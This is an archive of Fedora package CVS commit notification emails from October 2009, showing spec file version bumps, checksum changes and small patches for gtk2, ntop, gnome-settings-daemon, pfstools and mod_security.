 - Bump to latest fedora version 
 



From mclasen at fedoraproject.org  Mon Oct 26 05:14:37 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 26 Oct 2009 05:14:37 +0000 (UTC)
Subject: rpms/gtk2/F-12 toolbutton-assert.patch,1.1,1.2
Message-ID: <20091026051437.C986E11C0268@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19924

Modified Files:
	toolbutton-assert.patch 
Log Message:
fix patch


toolbutton-assert.patch:
 gtktoolbutton.c |   12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

Index: toolbutton-assert.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/toolbutton-assert.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- toolbutton-assert.patch	26 Oct 2009 05:03:58 -0000	1.1
+++ toolbutton-assert.patch	26 Oct 2009 05:14:37 -0000	1.2
@@ -1,21 +1,23 @@
 diff -up gtk+-2.18.3/gtk/gtktoolbutton.c.toolbutton-assert gtk+-2.18.3/gtk/gtktoolbutton.c
---- gtk+-2.18.3/gtk/gtktoolbutton.c.toolbutton-assert	2009-10-26 01:00:01.837187173 -0400
-+++ gtk+-2.18.3/gtk/gtktoolbutton.c	2009-10-26 00:59:21.061192110 -0400
-@@ -916,10 +916,13 @@ gtk_tool_button_set_label (GtkToolButton
+--- gtk+-2.18.3/gtk/gtktoolbutton.c.toolbutton-assert	2009-10-16 10:38:56.000000000 -0400
++++ gtk+-2.18.3/gtk/gtktoolbutton.c	2009-10-26 01:12:26.146186990 -0400
+@@ -916,11 +916,15 @@ gtk_tool_button_set_label (GtkToolButton
    button->priv->label_text = g_strdup (label);
    button->priv->contents_invalid = TRUE;     
  
 -  elided_label = _gtk_toolbar_elide_underscores (label);
 -  accessible = gtk_widget_get_accessible (GTK_WIDGET (button->priv->button));
 -  atk_object_set_name (accessible, elided_label);
--  g_free (elided_label);
 +  if (label)
 +    {
 +      elided_label = _gtk_toolbar_elide_underscores (label);
 +      accessible = gtk_widget_get_accessible (GTK_WIDGET (button->priv->button));
 +      atk_object_set_name (accessible, elided_label);
++
 +      g_free (elided_label);
 +    }
  
+-  g_free (elided_label);
    g_free (old_label);
   
+   g_object_notify (G_OBJECT (button), "label");



From huzaifas at fedoraproject.org  Mon Oct 26 05:16:01 2009
From: huzaifas at fedoraproject.org (Huzaifa Sidhpurwala)
Date: Mon, 26 Oct 2009 05:16:01 +0000 (UTC)
Subject: rpms/ntop/EL-5 ntop.spec,1.4,1.5
Message-ID: <20091026051601.D57E411C0268@cvs1.fedora.phx.redhat.com>

Author: huzaifas

Update of /cvs/pkgs/rpms/ntop/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20121

Modified Files:
	ntop.spec 
Log Message:
correct %setup, bump version


Index: ntop.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ntop/EL-5/ntop.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- ntop.spec	26 Oct 2009 05:06:33 -0000	1.4
+++ ntop.spec	26 Oct 2009 05:16:01 -0000	1.5
@@ -1,6 +1,6 @@
 Name:           ntop
 Version:        3.3.9
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        A network traffic probe similar to the UNIX top command
 Group:          Applications/Internet
 License:        GPLv2 and BSD with advertising
@@ -52,7 +52,7 @@ password can be selected.
 
 
 %prep
-%setup -q -n ntop
+%setup -q -n ntop-%{version}
 cp %SOURCE3 ./ && gunzip GeoLiteCity.dat.gz
 cp %SOURCE4 ./ && gunzip GeoIPASNum.dat.gz
 
@@ -186,7 +186,7 @@ fi
 %{_localstatedir}/lib/ntop/rrd
 
 %changelog
-* Mon Oct 26 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> - 3.3.9-6
+* Mon Oct 26 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> - 3.3.9-7
 - Remove compile patch
 - Add BR as tcp_wrappers
 - Version bump



From whot at fedoraproject.org  Mon Oct 26 06:13:51 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Mon, 26 Oct 2009 06:13:51 +0000 (UTC)
Subject: rpms/gnome-settings-daemon/F-12 left-handed-touchpad.patch, NONE,
	1.1 gnome-settings-daemon.spec, 1.129, 1.130
Message-ID: <20091026061352.475D711C0268@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/gnome-settings-daemon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv459

Modified Files:
	gnome-settings-daemon.spec 
Added Files:
	left-handed-touchpad.patch 
Log Message:
* Mon Oct 26 2009 Peter Hutterer <peter.hutterer at redhat.com> 2.28.1-2
- left-handed-touchpad.patch: change physical touchpad buttons to
  left-handed, not tapping though (#498249)


left-handed-touchpad.patch:
 gsd-mouse-manager.c |   28 ++++++++++++++++++----------
 1 file changed, 18 insertions(+), 10 deletions(-)

--- NEW FILE left-handed-touchpad.patch ---
>From ca4c9a0d9c269e51b8f6955277553f61ece9899a Mon Sep 17 00:00:00 2001
From: Peter Hutterer <peter.hutterer at who-t.net>
Date: Mon, 26 Oct 2009 15:24:48 +1000
Subject: [PATCH] mouse: allow left-handed setting for touchpads.
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Button mapping is handled in the server, tapping is handled in the driver.
Thus, if the tapping is enabled and the device is left-handed, the tapping
order must be reversed to counter the effect of the left-handed button
mapping.

For right-handed setup:
phys. button 1          ? logical button 1
one-finger tapping      ? phys button 1

For left-handed setup:
phys. button 3          ? logical button 1
one-finger-tapping      ? phys. button 3

Signed-off-by: Peter Hutterer <peter.hutterer at who-t.net>
---
 plugins/mouse/gsd-mouse-manager.c |   27 ++++++++++++++++++---------
 1 files changed, 18 insertions(+), 9 deletions(-)

diff --git a/plugins/mouse/gsd-mouse-manager.c b/plugins/mouse/gsd-mouse-manager.c
index 4c463eb..21acca6 100644
--- a/plugins/mouse/gsd-mouse-manager.c
+++ b/plugins/mouse/gsd-mouse-manager.c
@@ -84,6 +84,7 @@ static void     gsd_mouse_manager_class_init  (GsdMouseManagerClass *klass);
 static void     gsd_mouse_manager_init        (GsdMouseManager      *mouse_manager);
 static void     gsd_mouse_manager_finalize    (GObject             *object);
 static void     set_mouse_settings            (GsdMouseManager      *manager);
+static int      set_tap_to_click              (gboolean state, gboolean left_handed);
 static XDevice* device_is_touchpad            (XDeviceInfo deviceinfo);
 
 G_DEFINE_TYPE (GsdMouseManager, gsd_mouse_manager, G_TYPE_OBJECT)
@@ -289,8 +290,12 @@ set_xinput_devices_left_handed (gboolean left_handed)
                  * around, otherwise a tap would be a right-click */
                 device = device_is_touchpad (device_info[i]);
                 if (device != NULL) {
+                        GConfClient *client = gconf_client_get_default ();
+                        gboolean tap = gconf_client_get_bool (client, KEY_TAP_TO_CLICK, NULL);
+
+                        if (tap)
+                                set_tap_to_click (tap, left_handed);
                         XCloseDevice (GDK_DISPLAY (), device);
-                        continue;
                 }
 
                 gdk_error_trap_push ();
@@ -540,7 +545,7 @@ set_disable_w_typing (GsdMouseManager *manager, gboolean state)
 }
 
 static int
-set_tap_to_click (gboolean state)
+set_tap_to_click (gboolean state, gboolean left_handed)
 {
         int numdevices, i, format, rc;
         unsigned long nitems, bytes_after;
@@ -567,8 +572,8 @@ set_tap_to_click (gboolean state)
                         if (rc == Success && type == XA_INTEGER && format == 8 && nitems >= 7)
                         {
                                 /* Set RLM mapping for 1/2/3 fingers*/
-                                data[4] = (state) ? 1 : 0;
-                                data[5] = (state) ? 3 : 0;
+                                data[4] = (state) ? ((left_handed) ? 3 : 1) : 0;
+                                data[5] = (state) ? ((left_handed) ? 1 : 3) : 0;
                                 data[6] = (state) ? 2 : 0;
                                 XChangeDeviceProperty (GDK_DISPLAY (), device, prop, XA_INTEGER, 8,
                                                         PropModeReplace, data, nitems);
@@ -812,13 +817,14 @@ static void
 set_mouse_settings (GsdMouseManager *manager)
 {
         GConfClient *client = gconf_client_get_default ();
+        gboolean left_handed = gconf_client_get_bool (client, KEY_LEFT_HANDED, NULL);
 
-        set_left_handed (manager, gconf_client_get_bool (client, KEY_LEFT_HANDED, NULL));
+        set_left_handed (manager, left_handed);
         set_motion_acceleration (manager, gconf_client_get_float (client, KEY_MOTION_ACCELERATION , NULL));
         set_motion_threshold (manager, gconf_client_get_int (client, KEY_MOTION_THRESHOLD, NULL));
 
         set_disable_w_typing (manager, gconf_client_get_bool (client, KEY_TOUCHPAD_DISABLE_W_TYPING, NULL));
-        set_tap_to_click (gconf_client_get_bool (client, KEY_TAP_TO_CLICK, NULL));
+        set_tap_to_click (gconf_client_get_bool (client, KEY_TAP_TO_CLICK, NULL), left_handed);
         set_edge_scroll (gconf_client_get_int (client, KEY_SCROLL_METHOD, NULL));
         set_horiz_scroll (gconf_client_get_bool (client, KEY_PAD_HORIZ_SCROLL, NULL));
 
@@ -847,8 +853,10 @@ mouse_callback (GConfClient        *client,
                 if (entry->value->type == GCONF_VALUE_BOOL)
                         set_disable_w_typing (manager, gconf_value_get_bool (entry->value));
         } else if (! strcmp (entry->key, KEY_TAP_TO_CLICK)) {
-                if (entry->value->type == GCONF_VALUE_BOOL)
-                        set_tap_to_click (gconf_value_get_bool (entry->value));
+                if (entry->value->type == GCONF_VALUE_BOOL) {
+                        set_tap_to_click (gconf_value_get_bool (entry->value),
+                                          gconf_client_get_bool (client, KEY_LEFT_HANDED, NULL));
+                }
         } else if (! strcmp (entry->key, KEY_SCROLL_METHOD)) {
                 if (entry->value->type == GCONF_VALUE_INT) {
                         set_edge_scroll (gconf_value_get_int (entry->value));
@@ -928,7 +936,8 @@ gsd_mouse_manager_idle_cb (GsdMouseManager *manager)
                                 gconf_client_get_bool (client, KEY_DELAY_ENABLE, NULL));
 
         set_disable_w_typing (manager, gconf_client_get_bool (client, KEY_TOUCHPAD_DISABLE_W_TYPING, NULL));
-        set_tap_to_click (gconf_client_get_bool (client, KEY_TAP_TO_CLICK, NULL));
+        set_tap_to_click (gconf_client_get_bool (client, KEY_TAP_TO_CLICK, NULL),
+                          gconf_client_get_bool (client, KEY_LEFT_HANDED, NULL));
         set_edge_scroll (gconf_client_get_int (client, KEY_SCROLL_METHOD, NULL));
         set_horiz_scroll (gconf_client_get_bool (client, KEY_PAD_HORIZ_SCROLL, NULL));
 
-- 
1.6.5.rc2



Index: gnome-settings-daemon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-settings-daemon/F-12/gnome-settings-daemon.spec,v
retrieving revision 1.129
retrieving revision 1.130
diff -u -p -r1.129 -r1.130
--- gnome-settings-daemon.spec	19 Oct 2009 20:11:52 -0000	1.129
+++ gnome-settings-daemon.spec	26 Oct 2009 06:13:46 -0000	1.130
@@ -1,6 +1,6 @@
 Name:		gnome-settings-daemon
 Version:	2.28.1
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	The daemon sharing settings from GNOME to GTK+/KDE applications
 
 Group:		System Environment/Daemons
@@ -36,6 +36,9 @@ BuildRequires:	libcanberra-devel
 Patch0: osd-rounded-rectangle.patch
 Patch1: osd-visual-refresh.patch
 
+# https://bugzilla.redhat.com/show_bug.cgi?id=498249
+Patch2: left-handed-touchpad.patch
+
 %description
 A daemon to share settings from GNOME to other applications. It also
 handles global keybindings, as well as a number of desktop-wide settings.
@@ -55,6 +58,7 @@ developing applications that use %{name}
 %setup -q
 %patch0 -p1 -b .osd-rounded-rectangle
 %patch1 -p1 -b .osd-visual-refresh
+%patch2 -p1 -b .left-handed-touchpad
 
 %build
 %configure --enable-static=no --enable-profiling --disable-esd
@@ -166,6 +170,10 @@ fi
 %{_libdir}/pkgconfig/gnome-settings-daemon.pc
 
 %changelog
+* Mon Oct 26 2009 Peter Hutterer <peter.hutterer at redhat.com> 2.28.1-2
+- left-handed-touchpad.patch: change physical touchpad buttons to
+  left-handed, not tapping though (#498249)
+
 * Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-1
 - Update to 2.28.1
 



From drepper at fedoraproject.org  Mon Oct 26 06:33:46 2009
From: drepper at fedoraproject.org (Ulrich Drepper)
Date: Mon, 26 Oct 2009 06:33:46 +0000 (UTC)
Subject: rpms/pfstools/devel .cvsignore, 1.2, 1.3 pfstools.spec, 1.7,
	1.8 sources, 1.2, 1.3
Message-ID: <20091026063346.A939F11C0268@cvs1.fedora.phx.redhat.com>

Author: drepper

Update of /cvs/pkgs/rpms/pfstools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5433

Modified Files:
	.cvsignore pfstools.spec sources 
Log Message:
New upstream release 1.8.1.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pfstools/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	5 Jan 2009 19:51:02 -0000	1.2
+++ .cvsignore	26 Oct 2009 06:33:44 -0000	1.3
@@ -1 +1 @@
-pfstools-1.7.0.tar.gz
+pfstools-1.8.1.tar.gz


Index: pfstools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pfstools/devel/pfstools.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- pfstools.spec	26 Jul 2009 17:53:04 -0000	1.7
+++ pfstools.spec	26 Oct 2009 06:33:45 -0000	1.8
@@ -1,6 +1,6 @@
 Name:		pfstools
-Version:	1.7.0
-Release:	8%{?dist}
+Version:	1.8.1
+Release:	1%{?dist}
 Summary:	Programs for handling high-dynamic range images
 
 Group:		Applications/Multimedia
@@ -176,6 +176,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/pfsintiff
 %{_bindir}/pfsout
 %{_bindir}/pfsoutffmpeg
+%{_bindir}/pfsouthdrhtml
 %{_bindir}/pfsoutpfm
 %{_bindir}/pfsoutppm
 %{_bindir}/pfsoutrgbe
@@ -185,6 +186,16 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/pfsrotate
 %{_bindir}/pfssize
 %{_bindir}/pfstag
+%{_datadir}/pfstools/hdrhtml_c_b2.csv
+%{_datadir}/pfstools/hdrhtml_c_b3.csv
+%{_datadir}/pfstools/hdrhtml_c_b4.csv
+%{_datadir}/pfstools/hdrhtml_c_b5.csv
+%{_datadir}/pfstools/hdrhtml_image_templ.html
+%{_datadir}/pfstools/hdrhtml_page_templ.html
+%{_datadir}/pfstools/hdrhtml_t_b2.csv
+%{_datadir}/pfstools/hdrhtml_t_b3.csv
+%{_datadir}/pfstools/hdrhtml_t_b4.csv
+%{_datadir}/pfstools/hdrhtml_t_b5.csv
 %{_mandir}/man1/pfsabsolute.1.gz
 %{_mandir}/man1/pfscat.1.gz
 %{_mandir}/man1/pfsclamp.1.gz
@@ -202,6 +213,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/pfsintiff.1.gz
 %{_mandir}/man1/pfsout.1.gz
 %{_mandir}/man1/pfsoutffmpeg.1.gz
+%{_mandir}/man1/pfsouthdrhtml.1.gz
 %{_mandir}/man1/pfsoutpfm.1.gz
 %{_mandir}/man1/pfsoutppm.1.gz
 %{_mandir}/man1/pfsoutrgbe.1.gz
@@ -268,6 +280,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/pfs-1.2
 
 %changelog
+* Sun Oct 25 2009 Ulrich Drepper <drepper at redhat.com> - 1.8.1-1
+- Update to upstream release 1.8.1
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.7.0-8
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pfstools/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	5 Jan 2009 19:51:02 -0000	1.2
+++ sources	26 Oct 2009 06:33:45 -0000	1.3
@@ -1 +1 @@
-baf058fcdc6ac040c210dc5a4a607d1d  pfstools-1.7.0.tar.gz
+485507fd077c153accd8522f2a7d0612  pfstools-1.8.1.tar.gz



From mfleming at fedoraproject.org  Mon Oct 26 06:46:39 2009
From: mfleming at fedoraproject.org (Michael Fleming)
Date: Mon, 26 Oct 2009 06:46:39 +0000 (UTC)
Subject: rpms/mod_security/F-12 .cvsignore, 1.15, 1.16 mod_security.spec,
	1.32, 1.33 sources, 1.17, 1.18
Message-ID: <20091026064639.88AA211C0268@cvs1.fedora.phx.redhat.com>

Author: mfleming

Update of /cvs/extras/rpms/mod_security/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8200

Modified Files:
	.cvsignore mod_security.spec sources 
Log Message:
* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 2.5.10-1
- Upgrade to 2.5.10 (with Core Rules v2)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mod_security/F-12/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	12 Mar 2009 09:39:49 -0000	1.15
+++ .cvsignore	26 Oct 2009 06:46:39 -0000	1.16
@@ -1 +1 @@
-modsecurity-apache_2.5.9.tar.gz
+modsecurity-apache_2.5.10.tar.gz


Index: mod_security.spec
===================================================================
RCS file: /cvs/extras/rpms/mod_security/F-12/mod_security.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- mod_security.spec	25 Jul 2009 14:55:15 -0000	1.32
+++ mod_security.spec	26 Oct 2009 06:46:39 -0000	1.33
@@ -1,7 +1,7 @@
 Summary: Security module for the Apache HTTP Server
 Name: mod_security 
-Version: 2.5.9
-Release: 2%{?dist}
+Version: 2.5.10
+Release: 1%{?dist}
 License: GPLv2
 URL: http://www.modsecurity.org/
 Group: System Environment/Daemons
@@ -54,6 +54,9 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/httpd/modsecurity.d/optional_rules/*.conf
 
 %changelog
+* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 2.5.10-1
+- Upgrade to 2.5.10 (with Core Rules v2)
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.5.9-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mod_security/F-12/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	12 Mar 2009 09:39:50 -0000	1.17
+++ sources	26 Oct 2009 06:46:39 -0000	1.18
@@ -1 +1 @@
-b7bf44a7e041b49b0da5043495660375  modsecurity-apache_2.5.9.tar.gz
+a049f858e297fb16579b5dbb0d5d692d  modsecurity-apache_2.5.10.tar.gz



From mfleming at fedoraproject.org  Mon Oct 26 06:49:25 2009
From: mfleming at fedoraproject.org (Michael Fleming)
Date: Mon, 26 Oct 2009 06:49:25 +0000 (UTC)
Subject: rpms/mod_security/F-11 .cvsignore, 1.15, 1.16 mod_security.spec,
	1.31, 1.32 sources, 1.17, 1.18
Message-ID: <20091026064925.617B411C0268@cvs1.fedora.phx.redhat.com>

Author: mfleming

Update of /cvs/extras/rpms/mod_security/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8522

Modified Files:
	.cvsignore mod_security.spec sources 
Log Message:
* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 2.5.10-1
- Upgrade to 2.5.10 (with Core Rules v2)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mod_security/F-11/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	12 Mar 2009 09:39:49 -0000	1.15
+++ .cvsignore	26 Oct 2009 06:49:24 -0000	1.16
@@ -1 +1 @@
-modsecurity-apache_2.5.9.tar.gz
+modsecurity-apache_2.5.10.tar.gz


Index: mod_security.spec
===================================================================
RCS file: /cvs/extras/rpms/mod_security/F-11/mod_security.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- mod_security.spec	12 Mar 2009 09:39:50 -0000	1.31
+++ mod_security.spec	26 Oct 2009 06:49:25 -0000	1.32
@@ -1,6 +1,6 @@
 Summary: Security module for the Apache HTTP Server
 Name: mod_security 
-Version: 2.5.9
+Version: 2.5.10
 Release: 1%{?dist}
 License: GPLv2
 URL: http://www.modsecurity.org/
@@ -54,6 +54,12 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/httpd/modsecurity.d/optional_rules/*.conf
 
 %changelog
+* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 2.5.10-1
+- Upgrade to 2.5.10 (with Core Rules v2)
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.5.9-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Mar 12 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> 2.5.9-1
 - Update to upstream release 2.5.9
 - Fixes potential DoS' in multipart request and PDF XSS handling


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mod_security/F-11/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	12 Mar 2009 09:39:50 -0000	1.17
+++ sources	26 Oct 2009 06:49:25 -0000	1.18
@@ -1 +1 @@
-b7bf44a7e041b49b0da5043495660375  modsecurity-apache_2.5.9.tar.gz
+a049f858e297fb16579b5dbb0d5d692d  modsecurity-apache_2.5.10.tar.gz



From mfleming at fedoraproject.org  Mon Oct 26 06:53:01 2009
From: mfleming at fedoraproject.org (Michael Fleming)
Date: Mon, 26 Oct 2009 06:53:01 +0000 (UTC)
Subject: rpms/mod_security/F-10 .cvsignore, 1.15, 1.16 mod_security.spec,
	1.30, 1.31 sources, 1.17, 1.18
Message-ID: <20091026065301.1255B11C0268@cvs1.fedora.phx.redhat.com>

Author: mfleming

Update of /cvs/extras/rpms/mod_security/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9728

Modified Files:
	.cvsignore mod_security.spec sources 
Log Message:
* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 2.5.10-1
- Upgrade to 2.5.10 (with Core Rules v2)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mod_security/F-10/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	12 Mar 2009 09:44:29 -0000	1.15
+++ .cvsignore	26 Oct 2009 06:53:00 -0000	1.16
@@ -1 +1 @@
-modsecurity-apache_2.5.9.tar.gz
+modsecurity-apache_2.5.10.tar.gz


Index: mod_security.spec
===================================================================
RCS file: /cvs/extras/rpms/mod_security/F-10/mod_security.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- mod_security.spec	12 Mar 2009 09:44:29 -0000	1.30
+++ mod_security.spec	26 Oct 2009 06:53:00 -0000	1.31
@@ -1,6 +1,6 @@
 Summary: Security module for the Apache HTTP Server
 Name: mod_security 
-Version: 2.5.9
+Version: 2.5.10
 Release: 1%{?dist}
 License: GPLv2
 URL: http://www.modsecurity.org/
@@ -54,6 +54,9 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/httpd/modsecurity.d/optional_rules/*.conf
 
 %changelog
+* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 2.5.10-1
+- Upgrade to 2.5.10 (with Core Rules v2)
+
 * Thu Mar 12 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> 2.5.9-1
 - Update to upstream release 2.5.9
 - Fixes potential DoS' in multipart request and PDF XSS handling


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mod_security/F-10/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	12 Mar 2009 09:44:29 -0000	1.17
+++ sources	26 Oct 2009 06:53:00 -0000	1.18
@@ -1 +1 @@
-b7bf44a7e041b49b0da5043495660375  modsecurity-apache_2.5.9.tar.gz
+a049f858e297fb16579b5dbb0d5d692d  modsecurity-apache_2.5.10.tar.gz



From mfleming at fedoraproject.org  Mon Oct 26 06:55:28 2009
From: mfleming at fedoraproject.org (Michael Fleming)
Date: Mon, 26 Oct 2009 06:55:28 +0000 (UTC)
Subject: rpms/mod_security/EL-5 .cvsignore, 1.12, 1.13 mod_security.spec,
	1.21, 1.22 sources, 1.13, 1.14
Message-ID: <20091026065529.0440811C0268@cvs1.fedora.phx.redhat.com>

Author: mfleming

Update of /cvs/extras/rpms/mod_security/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10289

Modified Files:
	.cvsignore mod_security.spec sources 
Log Message:
* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 2.5.10-1
- Upgrade to 2.5.10 (with Core Rules v2)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mod_security/EL-5/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	12 Mar 2009 10:50:33 -0000	1.12
+++ .cvsignore	26 Oct 2009 06:55:28 -0000	1.13
@@ -1 +1 @@
-modsecurity-apache_2.5.9.tar.gz
+modsecurity-apache_2.5.10.tar.gz


Index: mod_security.spec
===================================================================
RCS file: /cvs/extras/rpms/mod_security/EL-5/mod_security.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- mod_security.spec	12 Mar 2009 10:50:33 -0000	1.21
+++ mod_security.spec	26 Oct 2009 06:55:28 -0000	1.22
@@ -1,6 +1,6 @@
 Summary: Security module for the Apache HTTP Server
 Name: mod_security 
-Version: 2.5.9
+Version: 2.5.10
 Release: 1%{?dist}
 License: GPLv2
 URL: http://www.modsecurity.org/
@@ -54,6 +54,9 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/httpd/modsecurity.d/optional_rules/*.conf
 
 %changelog
+* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 2.5.10-1
+- Upgrade to 2.5.10 (with Core Rules v2)
+
 * Thu Mar 12 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> 2.5.9-1
 - Update to upstream release 2.5.9
 - Fixes potential DoS' in multipart request and PDF XSS handling


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mod_security/EL-5/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	12 Mar 2009 10:50:33 -0000	1.13
+++ sources	26 Oct 2009 06:55:28 -0000	1.14
@@ -1 +1 @@
-b7bf44a7e041b49b0da5043495660375  modsecurity-apache_2.5.9.tar.gz
+a049f858e297fb16579b5dbb0d5d692d  modsecurity-apache_2.5.10.tar.gz



From mfleming at fedoraproject.org  Mon Oct 26 06:57:11 2009
From: mfleming at fedoraproject.org (Michael Fleming)
Date: Mon, 26 Oct 2009 06:57:11 +0000 (UTC)
Subject: rpms/mod_security/EL-4 .cvsignore, 1.12, 1.13 mod_security.spec,
	1.18, 1.19 sources, 1.13, 1.14
Message-ID: <20091026065711.EAF2B11C0268@cvs1.fedora.phx.redhat.com>

Author: mfleming

Update of /cvs/extras/rpms/mod_security/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11348

Modified Files:
	.cvsignore mod_security.spec sources 
Log Message:
* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 2.5.10-1
- Upgrade to 2.5.10 (with Core Rules v2)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mod_security/EL-4/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	12 Mar 2009 10:57:42 -0000	1.12
+++ .cvsignore	26 Oct 2009 06:57:11 -0000	1.13
@@ -1 +1 @@
-modsecurity-apache_2.5.9.tar.gz
+modsecurity-apache_2.5.10.tar.gz


Index: mod_security.spec
===================================================================
RCS file: /cvs/extras/rpms/mod_security/EL-4/mod_security.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- mod_security.spec	12 Mar 2009 10:57:42 -0000	1.18
+++ mod_security.spec	26 Oct 2009 06:57:11 -0000	1.19
@@ -1,6 +1,6 @@
 Summary: Security module for the Apache HTTP Server
 Name: mod_security 
-Version: 2.5.9
+Version: 2.5.10
 Release: 1%{?dist}
 License: GPLv2
 URL: http://www.modsecurity.org/
@@ -54,6 +54,9 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/httpd/modsecurity.d/optional_rules/*.conf
 
 %changelog
+* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 2.5.10-1
+- Upgrade to 2.5.10 (with Core Rules v2)
+
 * Thu Mar 12 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> 2.5.9-1
 - Update to upstream release 2.5.9
 - Fixes potential DoS' in multipart request and PDF XSS handling


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mod_security/EL-4/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	12 Mar 2009 10:57:42 -0000	1.13
+++ sources	26 Oct 2009 06:57:11 -0000	1.14
@@ -1 +1 @@
-b7bf44a7e041b49b0da5043495660375  modsecurity-apache_2.5.9.tar.gz
